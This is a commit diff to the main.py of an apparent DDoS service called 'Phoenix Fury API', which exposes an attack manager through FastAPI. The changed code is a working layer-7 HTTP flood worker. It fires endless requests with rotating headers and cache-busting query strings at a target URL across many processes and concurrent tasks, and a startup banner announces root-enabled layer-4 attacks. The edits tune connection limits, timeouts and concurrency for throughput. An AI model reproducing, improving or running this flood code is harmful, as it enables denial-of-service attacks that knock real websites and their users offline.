Samuraiog commited on
Commit
68bdd57
·
verified ·
1 Parent(s): 83fbe4b

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +25 -20
main.py CHANGED
@@ -33,9 +33,9 @@ app = FastAPI(
33
 
34
  # --- Auto-Optimized Configuration ---
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
- MAX_PROCESSES = CPU_COUNT * 4 # 4x CPU cores for optimal performance
37
- MAX_CONCURRENCY_PER_PROCESS = 4096 # Aggressive async tasks per process
38
- STATS_BATCH_UPDATE_SIZE = 2000 # Batch updates for performance
39
 
40
  # --- L7 Enhanced Headers Pool ---
41
  USER_AGENTS = [
@@ -236,15 +236,18 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
236
 
237
  # Aggressive connector settings for maximum throughput
238
  connector = aiohttp.TCPConnector(
239
- limit=None,
240
- limit_per_host=0,
241
  ttl_dns_cache=300,
242
  force_close=False, # Keep connections alive for reuse
243
  enable_cleanup_closed=True
244
  )
245
 
246
  # Minimal timeouts for maximum speed
247
- timeout = aiohttp.ClientTimeout(total=5, connect=2, sock_read=2)
 
 
 
248
 
249
  async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
250
  async def task_worker():
@@ -252,17 +255,18 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
252
  local_counter = 0
253
  while not stop_event.is_set():
254
  try:
255
- # Random query string to bypass caching
256
- cache_buster = f"?{random.randint(1, 999999999)}"
257
- async with session.request(
258
- method,
259
- f"{url}{cache_buster}",
260
- headers=get_random_headers(),
261
- allow_redirects=False
262
- ):
263
- pass
264
- local_counter += 1
265
- except:
 
266
  local_counter += 1 # Count even on failure
267
  finally:
268
  # Batch updates for performance
@@ -270,7 +274,7 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
270
  with shared_counter.get_lock():
271
  shared_counter.value += local_counter
272
  local_counter = 0
273
- await asyncio.sleep(0) # Yield control
274
 
275
  # Final update
276
  if local_counter > 0:
@@ -278,7 +282,7 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
278
  shared_counter.value += local_counter
279
 
280
  # Launch all concurrent tasks
281
- tasks = [task_worker() for _ in range(concurrency)]
282
  await asyncio.gather(*tasks, return_exceptions=True)
283
 
284
  def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
@@ -494,13 +498,14 @@ MANAGER = AttackManager()
494
  # FASTAPI ENDPOINTS
495
  # ====================================================================================
496
  @app.on_event("startup")
497
- def on_startup():
498
  """Startup message with system info."""
499
  print("=" * 60)
500
  print("🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition")
501
  print(f" Detected {CPU_COUNT} logical CPU cores")
502
  print(f" Auto-configured processes: {MAX_PROCESSES}")
503
  print(f" Auto-configured L7 concurrency: {MAX_CONCURRENCY_PER_PROCESS} per process")
 
504
  if check_root():
505
  print("✅ Running with root privileges - L4 attacks ENABLED")
506
  else:
 
33
 
34
  # --- Auto-Optimized Configuration ---
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
+ MAX_PROCESSES = min(CPU_COUNT * 2, 64) # 2x CPU cores, max 64 processes
37
+ MAX_CONCURRENCY_PER_PROCESS = 512 # Balanced async tasks per process
38
+ STATS_BATCH_UPDATE_SIZE = 500 # Batch updates for performance
39
 
40
  # --- L7 Enhanced Headers Pool ---
41
  USER_AGENTS = [
 
236
 
237
  # Aggressive connector settings for maximum throughput
238
  connector = aiohttp.TCPConnector(
239
+ limit=1000, # Limit total connections
240
+ limit_per_host=100, # Per host limit
241
  ttl_dns_cache=300,
242
  force_close=False, # Keep connections alive for reuse
243
  enable_cleanup_closed=True
244
  )
245
 
246
  # Minimal timeouts for maximum speed
247
+ timeout = aiohttp.ClientTimeout(total=10, connect=3, sock_read=3)
248
+
249
+ # Semaphore to control concurrent requests
250
+ semaphore = asyncio.Semaphore(concurrency)
251
 
252
  async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
253
  async def task_worker():
 
255
  local_counter = 0
256
  while not stop_event.is_set():
257
  try:
258
+ async with semaphore:
259
+ # Random query string to bypass caching
260
+ cache_buster = f"?{random.randint(1, 999999999)}"
261
+ async with session.request(
262
+ method,
263
+ f"{url}{cache_buster}",
264
+ headers=get_random_headers(),
265
+ allow_redirects=False
266
+ ) as response:
267
+ await response.read() # Consume response
268
+ local_counter += 1
269
+ except Exception as e:
270
  local_counter += 1 # Count even on failure
271
  finally:
272
  # Batch updates for performance
 
274
  with shared_counter.get_lock():
275
  shared_counter.value += local_counter
276
  local_counter = 0
277
+ await asyncio.sleep(0.001) # Small delay to prevent CPU spin
278
 
279
  # Final update
280
  if local_counter > 0:
 
282
  shared_counter.value += local_counter
283
 
284
  # Launch all concurrent tasks
285
+ tasks = [asyncio.create_task(task_worker()) for _ in range(concurrency)]
286
  await asyncio.gather(*tasks, return_exceptions=True)
287
 
288
  def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
 
498
  # FASTAPI ENDPOINTS
499
  # ====================================================================================
500
  @app.on_event("startup")
501
+ async def on_startup():
502
  """Startup message with system info."""
503
  print("=" * 60)
504
  print("🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition")
505
  print(f" Detected {CPU_COUNT} logical CPU cores")
506
  print(f" Auto-configured processes: {MAX_PROCESSES}")
507
  print(f" Auto-configured L7 concurrency: {MAX_CONCURRENCY_PER_PROCESS} per process")
508
+ print(f" Total workers: {MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS:,}")
509
  if check_root():
510
  print("✅ Running with root privileges - L4 attacks ENABLED")
511
  else: